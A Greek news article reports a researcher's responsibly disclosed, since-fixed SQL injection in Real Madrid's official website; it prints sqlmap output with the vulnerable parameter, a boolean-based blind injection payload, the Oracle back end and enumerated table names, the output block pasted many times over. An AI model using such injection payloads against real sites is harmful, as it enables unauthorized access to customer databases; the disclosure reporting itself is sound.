Έλληνας ερευνητής κατάφερε να εντοπίσει ένα σημαντικό κενό ασφαλείας στον επίσημο ιστότοπο της Real Madrid, που του επέτρεψε να εκτελέσει SQL injection με επιτυχία και να αποκτήσει πρόσβαση στη βάση δεδομένων της ομάδας.
Στις 10 Οκτωβρίου ο Αναστάσης Βασιλειάδης εντόπισε την ευπάθεια και ενημέρωσε τη Real Madrid.
Η συνεργασία ήταν άψογη και άμεση και το πρόβλημα διορθώθηκε μέσα σε λίγες ώρες.
Αξίζει να σημειωθεί ότι η βάση της ιστοσελίδας είχε πάνω από 7.000 tables και πολλά σημαντικά στοιχεία όπως εκατομμύρια λογαριασμούς πελατών της από το επίσημο store της ομάδας.
Μερικές πληροφορίες σχετικά με την ευπάθεια:
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma
—
web application technology: JSP
back-end DBMS: Oracle
Database: EXFSYS
[1 table]
+——————————–+
| RLM$PARSEDCOND |
+——————————–+
Database: XDB
[2 tables]
+——————————–+
| XDB$IMPORT_TT_INFO |
| XDB$XIDX_IMP_T |
+——————————–+
Database: APEX_030200
[3 tables]
+——————————–+
| WWV_FLOW_DUAL100 |
| WWV_FLOW_LOV_TEMP |
| WWV_FLOW_TEMP_TABLE |
+——————————–+
Database: SYSTEM
[4 tables]
+——————————–+
| HELP |
| OL$ |
| OL$HINTS |
| OL$NODES |
+——————————–+
Database: FATWIREDLV
[3437 tables]
+——————————–+
Database: SYS
[26 tables]
+——————————–+
Database: MDSYS
[35 tables]
+——————————–+
Η ενημέρωση για ευπάθειες που ανακαλύπτονται σε οργανισμούς θεωρείται άκρως απαραίτητη
(ειδικά όταν υπάρχουν σε ιστοσελίδες υψηλής επισκεψιμότητας), και για εμάς αποτελούν άμεση προτεραιότητα.
